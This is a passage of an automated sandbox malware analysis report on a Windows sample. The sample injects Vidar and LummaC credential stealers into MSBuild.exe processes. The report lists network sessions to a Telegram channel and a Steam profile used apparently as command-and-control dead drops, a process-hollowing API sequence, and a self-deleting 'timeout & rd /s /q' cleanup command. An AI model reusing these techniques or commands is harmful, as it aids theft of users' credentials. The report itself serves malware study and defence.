Oct 7, 2024 21:19:03.832331896 CEST	178	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 19:19:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 0d 0a 62 6c 6f 63 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 5block0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49804	149.154.167.99	443	3924	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:18:30 UTC	89	OUT	GET /maslengdsa HTTP/1.1 Host: t.me Connection: Keep-Alive Cache-Control: no-cache
2024-10-07 19:18:30 UTC	511	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 07 Oct 2024 19:18:30 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12408 Connection: close Set-Cookie: stel_ssid=4b79d08fe1606d63f3_1600165260532006391; expires=Tue, 08 Oct 2024 19:18:30 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2024-10-07 19:18:30 UTC	12408	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 6d 61 73 6c 65 6e 67 64 73 61 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @maslengdsa</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.pa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49943	104.102.49.254	443	7928	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:18:54 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-07 19:18:54 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Mon, 07 Oct 2024 19:18:54 GMT Content-Length: 25489 Connection: close Set-Cookie: sessionid=9f52434801cd858b5e9ff137; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=None
2024-10-07 19:18:54 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-07 19:18:54 UTC	10975	IN	Data Raw: 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 6d 65 6e 75 5f 69 74 65 6d 20 74 69 67 68 74 22 20 68 72 65 66 3d 22 3f 6c 3d 74 68 61 69 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 74 68 61 69 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e e0 b9 84 e0 b8 97 e0 b8 a2 20 28 54 68 61 69 29 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 6d 65 6e 75 5f 69 74 65 6d 20 74 69 67 68 74 22 20 68 72 65 66 3d 22 3f 6c 3d 62 75 6c 67 61 72 69 61 6e 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 62 75 6c 67 61 72 69 61 6e 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 Data Ascii: <a class="popup_menu_item tight" href="?l=thai" onclick="ChangeLanguage( 'thai' ); return false;"> (Thai)</a><a class="popup_menu_item tight" href="?l=bulgarian" onclick="ChangeLanguage( 'bulgarian' ); return fa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49967	149.154.167.99	443	7672	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:18:58 UTC	147	OUT	GET /maslengdsa HTTP/1.1 Host: t.me Connection: Keep-Alive Cache-Control: no-cache Cookie: stel_ssid=4b79d08fe1606d63f3_1600165260532006391
2024-10-07 19:18:58 UTC	369	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 07 Oct 2024 19:18:58 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12408 Connection: close Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2024-10-07 19:18:58 UTC	12408	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 6d 61 73 6c 65 6e 67 64 73 61 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @maslengdsa</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.pa

Target ID:	0
Start time:	15:18:01
Start date:	07/10/2024
Path:	C:\Users\user\Desktop\WiTqtf1aiE.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\WiTqtf1aiE.exe"
Imagebase:	0x5a0000
File size:	233'472 bytes
MD5 hash:	E16B25AAADF645E0DE019D8E3ED50EB0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	15:18:01
Start date:	07/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0xf0000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:18:01
Start date:	07/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0xa70000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:18:01
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 528 -s 264
Imagebase:	0xf30000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	15:18:03
Start date:	07/10/2024
Path:	C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe"
Imagebase:	0x840000
File size:	585'216 bytes
MD5 hash:	0294E7BE437F5DCE111BE4B66162A8CB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	15:18:03
Start date:	07/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0xdb0000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000002.2633668916.00000000014DE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	15:18:03
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6980 -s 260
Imagebase:	0xf30000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	15:18:30
Start date:	07/10/2024
Path:	C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\IDSM\22594e132764.exe"
Imagebase:	0x840000
File size:	585'216 bytes
MD5 hash:	0294E7BE437F5DCE111BE4B66162A8CB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000D.00000002.2414047630.000000000086D000.00000004.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 0000000D.00000002.2414047630.000000000086D000.00000004.00000001.01000000.00000008.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	15:18:30
Start date:	07/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0x8c0000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	15:18:30
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7656 -s 248
Imagebase:	0xf30000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	15:18:52
Start date:	07/10/2024
Path:	C:\ProgramData\AEHIDAKECF.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\AEHIDAKECF.exe"
Imagebase:	0xfc0000
File size:	551'424 bytes
MD5 hash:	933CD328743445FD4AA29EEAEA35D726
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000012.00000002.2615297855.0000000000FED000.00000004.00000001.01000000.0000000C.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	15:18:52
Start date:	07/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0xaf0000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000013.00000002.2611657350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	15:18:52
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7912 -s 260
Imagebase:	0xf30000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	15:18:56
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\AFIDGDBGCAAF" & exit
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	15:18:56
Start date:	07/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	15:18:56
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 10
Imagebase:	0xf70000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	2.5%
Dynamic/Decrypted Code Coverage:	0.6%
Signature Coverage:	3.3%
Total number of Nodes:	1242
Total number of Limit Nodes:	7

Executed Functions

Function 005D8265 Relevance: 44.0, APIs: 11, Strings: 14, Instructions: 281
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe,00000000,00000000,00000000,00000000,00000004,00000000,00000000,005D81D7,005D81C7), ref: 005D83D2
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 005D83E5
Wow64GetThreadContext.KERNEL32(000000F8,00000000), ref: 005D8403
ReadProcessMemory.KERNELBASE(000000F4,?,005D821B,00000004,00000000), ref: 005D8427
VirtualAllocEx.KERNELBASE(000000F4,?,?,00003000,00000040), ref: 005D8452
TerminateProcess.KERNELBASE(000000F4,00000000), ref: 005D8471
WriteProcessMemory.KERNELBASE(000000F4,00000000,?,?,00000000,?), ref: 005D84AA
WriteProcessMemory.KERNELBASE(000000F4,00400000,?,?,00000000,?,00000028), ref: 005D84F5
WriteProcessMemory.KERNELBASE(000000F4,?,?,00000004,00000000), ref: 005D8533
Wow64SetThreadContext.KERNEL32(000000F8,014B0000), ref: 005D856F
ResumeThread.KERNELBASE(000000F8), ref: 005D857E

Strings

GetThreadContext, xrefs: 005D833D
VirtualAllocEx, xrefs: 005D8363
CreateProcessA, xrefs: 005D8317
TerminateProcess, xrefs: 005D8461
VirtualAlloc, xrefs: 005D832A
GetP, xrefs: 005D82E5
ReadProcessMemory, xrefs: 005D8350
aryA, xrefs: 005D82A9
SetThreadContext, xrefs: 005D8389
Load, xrefs: 005D82A1
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 005D83D1
ress, xrefs: 005D82ED
WriteProcessMemory, xrefs: 005D8376
ResumeThread, xrefs: 005D839F

Memory Dump Source

Source File: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResumeTerminate
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$CreateProcessA$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2440066154-2925031897
Opcode ID: e5a9dbfa2375b3f189da27222e89dbb70df059347874899beb614d59cc4de087
Instruction ID: 6a7c14c791b1d568d08ff30a3f5695a7fc7a7a950a3f2f5e944efc948790f48b
Opcode Fuzzy Hash: e5a9dbfa2375b3f189da27222e89dbb70df059347874899beb614d59cc4de087
Instruction Fuzzy Hash: C6B1F77664068AAFDB60CF68CC80BDA77A5FF88714F158525EA0CEB341D770FA418B94

Function 005A2021 Relevance: 7.6, APIs: 1, Strings: 3, Instructions: 631
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(005D80D8,?,00000040,?), ref: 005A2738

Strings

', xrefs: 005A2718
a, xrefs: 005A2296
S, xrefs: 005A206A

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID: ProtectVirtual
String ID: '$S$a
API String ID: 544645111-1060379873
Opcode ID: 89fd69325a607db3c819eeb448a4348d1cd6331620c96e66d08ce846aca22c16
Instruction ID: 1a323cf31ea03c64a188aa74299a91584c8909af5f359da8005c6512307e5735
Opcode Fuzzy Hash: 89fd69325a607db3c819eeb448a4348d1cd6331620c96e66d08ce846aca22c16
Instruction Fuzzy Hash: 8EF1CE27934E1B06E708603D8D532ED9D4AF7AB330F914733AE62DB3F4E76909419284

Function 005B6368 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LCMapStringEx.KERNELBASE(?,005B8F1C,?,?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 005B639C
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,005B8F1C,?,?,00000000,?,00000000), ref: 005B63BA

Strings

R[Z, xrefs: 005B6396

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID: String
String ID: R[Z
API String ID: 2568140703-1116217273
Opcode ID: 1df6d1d5a81d0ea6df32982bbb9d76a8bbb6c13a4bcd895a97f82f9c1c88b588
Instruction ID: d5c32d3ab838f7ad23de458e66100b92fe34d4e3d11bb658eca0e754d177ed2c
Opcode Fuzzy Hash: 1df6d1d5a81d0ea6df32982bbb9d76a8bbb6c13a4bcd895a97f82f9c1c88b588
Instruction Fuzzy Hash: A4F0763240065ABBCF126F90DC09EDE3F66FF883A0F158410FA1866020CB36E975EB90

Function 005B8E2E Relevance: 4.7, APIs: 3, Instructions: 202
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__freea.LIBCMT ref: 005B8FDD

Part of subcall function 005B3A83: HeapAlloc.KERNEL32(00000000,005BA1AA,?,?,005BA1AA,00000220,?,?,?), ref: 005B3AB5

__freea.LIBCMT ref: 005B8FF2
__freea.LIBCMT ref: 005B9002

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_WiTqtf1aiE.jbxd

Similarity

API ID: __freea$AllocHeap
String ID:
API String ID: 85559729-0
Opcode ID: 0527b7794de40a2901bd48a844a4335d425b26ee64e370b01b1a35fc1427d5b8
Instruction ID: c1021cf12dfadc62191ba65051091820d514d9ebf8a890cc5c48ab608f69aeb0
Opcode Fuzzy Hash: 0527b7794de40a2901bd48a844a4335d425b26ee64e370b01b1a35fc1427d5b8
Instruction Fuzzy Hash: DE518B7260121AAFEF219F648C85EFB3EAEFB84750B190529FD08D6250EB31EC50C760

Function 005BA3A6 Relevance: 3.2, APIs: 2, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 005B9ED6: GetOEMCP.KERNEL32(00000000,?,?,?,?), ref: 005B9F01

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,?,?,?,?,005BA1ED,?,00000000,?,?,?), ref: 005BA407
GetCPInfo.KERNEL32(00000000,?,?,?,?,?,?,?,?,005BA1ED,?,00000000,?,?,?), ref: 005BA449

Memory Dump Source

Source File: 00000000.00000002.2346398278.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true

Associated: 00000000.00000002.2346351280.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346542342.00000000005C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346710757.00000000005CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346760261.00000000005D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346795092.00000000005D9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2346840009.00000000005DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

